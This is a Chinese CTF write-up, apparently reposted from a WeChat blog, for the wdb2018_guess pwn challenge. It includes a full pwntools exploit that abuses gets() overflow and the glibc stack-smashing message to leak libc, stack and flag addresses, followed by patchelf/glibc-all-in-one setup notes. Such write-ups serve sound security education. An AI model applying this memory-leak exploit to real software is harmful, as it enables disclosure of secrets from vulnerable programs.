这种题型的题目一般不难,如果题目分析发现flag被读入到内存中,且有个不限制读入长度的栈溢出,就可以考虑一下利用该方法。
另外,在本地调试这种题目的时候通常需要使用工具例如patchelf来修改二进制文件依赖的链接库版本,这个在文中也会介绍。
题目链接:
/# 题目
https://buuoj.cn/challenges#wdb2018_guess
# libc
https://github.com/bash-c/pwn_repo/blob/871b9ed5a7e0152b70964f2d55e511bb80a76377/WDB/WDB2018_guess/libc.so.6
这道2018强网杯题目很经典,考察了stack smashes的相关内容。
先用checksec检查一下:
保护开启了canary和NX。
直接拖入IDA pro分析。
程序首先从./flag.txt中读入了flag到栈上的buf中,然后给了三次机会猜flag的值,获取用户输入的时候使用的函数为gets(),存在栈溢出漏洞。
由于buu上题目简介内写明了ubuntu16的环境,满足stack smashes的利用条件,建议在开始调试这题之前拉到最下面看一下【本地调试】部分的内容。
先使用pwndbg调试一下程序,找到__libc_argv[0]和s2的偏移。
在执行gets函数之前,可以看到rdi指向0x7fffffffdd80的地址。
可以通过`p &__libc_argv[0]`来查看__libc_argv[0](即存储当前文件名的地方)的地址。
计算得到偏移为0x128
题目给了3次可以泄露地址的机会,可以先leak出puts函数在内存中的地址,可以得到libc的基地址。然后leak出_environ的地址上的值,这个值通常指向栈上的某个地址。最后计算_environ地址上的值对于flag的偏移,进行第三次leak。
第一次leak:
offset = 0x128
puts_got = elf.got["puts"]
# leak libc
payload = b"a"*offset + p64(puts_got)
p.sendlineafter(b"Please type your guessing flagn", payload)
p.recvuntil(b"*** stack smashing detected ***: ")
puts_addr = u64(p.recv(6).ljust(0x8, b"x00"))
leak("libc", puts_addr)
libc.address = puts_addr - libc.sym["puts"]
log.success("libc baseaddr: {}".format(hex(libc.address)))
其中leak函数的定义为:
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
第二次leak:
# leak stack
environ_addr = libc.sym["_environ"]
payload = b"a"*offset + p64(environ_addr)
p.sendlineafter(b"Please type your guessing flagn", payload)
p.recvuntil(b"*** stack smashing detected ***: ")
stack_addr = u64(p.recv(6).ljust(0x8, b"x00"))
leak("stack_environ", stack_addr)
第三次leak:
这里先不给出payload,计算一下_environ地址上的值对于flag的偏移值。
这里得到_environ指向的地址为0x7ffda45141c8。
flag的地址为:0x7ffda4514060。计算偏移为0x168个字节。
故第三次leak的代码为:
payload = b"a"*offset + p64(stack_addr - 0x168)
p.sendlineafter(b"Please type your guessing flagn", payload)
p.recvuntil(b"*** stack smashing detected ***: ")
flag = p.recvuntil(b"}").decode()
log.success("flag: {}".format(flag))
【完整的payload】
from pwn import *
context(arch='amd64', os='linux')
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
p = process("./GUESS")
# p = gdb.debug("./GUESS", "set follow-fork-mode parentnb *0x0400B12")
# p = remote("node4.buuoj.cn", 28005)
elf = ELF("./GUESS")
libc = ELF("../so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6") # local
# libc = ELF("./libc.so.6") # remote
offset = 0x128
puts_got = elf.got["puts"]
# leak libc
payload = b"a"*offset + p64(puts_got)
p.sendlineafter(b"Please type your guessing flagn", payload)
p.recvuntil(b"*** stack smashing detected ***: ")
puts_addr = u64(p.recv(6).ljust(0x8, b"x00"))
leak("libc", puts_addr)
# leak stack
libc.address = puts_addr - libc.sym["puts"]
log.success("libc baseaddr: {}".format(hex(libc.address)))
environ_addr = libc.sym["_environ"]
payload = b"a"*offset + p64(environ_addr)
p.sendlineafter(b"Please type your guessing flagn", payload)
p.recvuntil(b"*** stack smashing detected ***: ")
stack_addr = u64(p.recv(6).ljust(0x8, b"x00"))
leak("stack_environ", stack_addr)
pause()
# leak flag
payload = b"a"*offset + p64(stack_addr - 0x168)
p.sendlineafter(b"Please type your guessing flagn", payload)
p.recvuntil(b"*** stack smashing detected ***: ")
flag = p.recvuntil(b"}").decode()
log.success("flag: {}".format(flag))
p.interactive()
【本地调试】
1、glibc-all-in-one
主要是搜索各种glibc的版本,并下载到libs文件夹内。
下载安装:
# 从gitee上下载,git上没有科学上网太慢了()
git clone https://gitee.com/bhxdn/glibc-all-in-one.git
# 安装
cd glibc-all-in-one/
# 更新现有的glibc列表
sudo python3 update_list
# 查看当前的list列表
cat list
我的虚拟机为22.04,默认的glibc版本已经不适用stack smashes的利用条件了,故这边使用glibc-all-in-one来下载ubuntu16所使用的glibc2.23。
下载2.23-0ubuntu3_amd64:
./download 2.23-0ubuntu3_amd64
下载完会发现当前目录多了个libs文件夹,储存下载的内容。
2、patchelf
这个工具是用来修改二进制文件动态链接库的版本的,如果不想单独开一个ubuntu16的虚拟机来调试题目,这个工具是个很好的选择。
gitee下载地址:
https://gitee.com/guardianangel/patchelf.git
安装过程可以查看以下链接,讲的很详细。
https://blog.csdn.net/juluwangriyue/article/details/108617283
根据1、glibc-all-in-one,我的ld-linux-x86-64.so.2和libc.so.6路径分别为,如下图。
/home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2
/home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6
使用patchelf将二进制文件GUESS的动态链接进行修改。
patchelf --set-interpreter /home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./GUESS
patchelf --add-needed /home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 ./GUESS
# 如果提示没有libpthread.so.0则再加一条
patchelf --add-needed /home/pwn/Desktop/practice/so/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libpthread.so.0 ./GUESS
原文始发于微信公众号(Stack0verf1ow):【PWN】刷题记录-Canary smashes
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论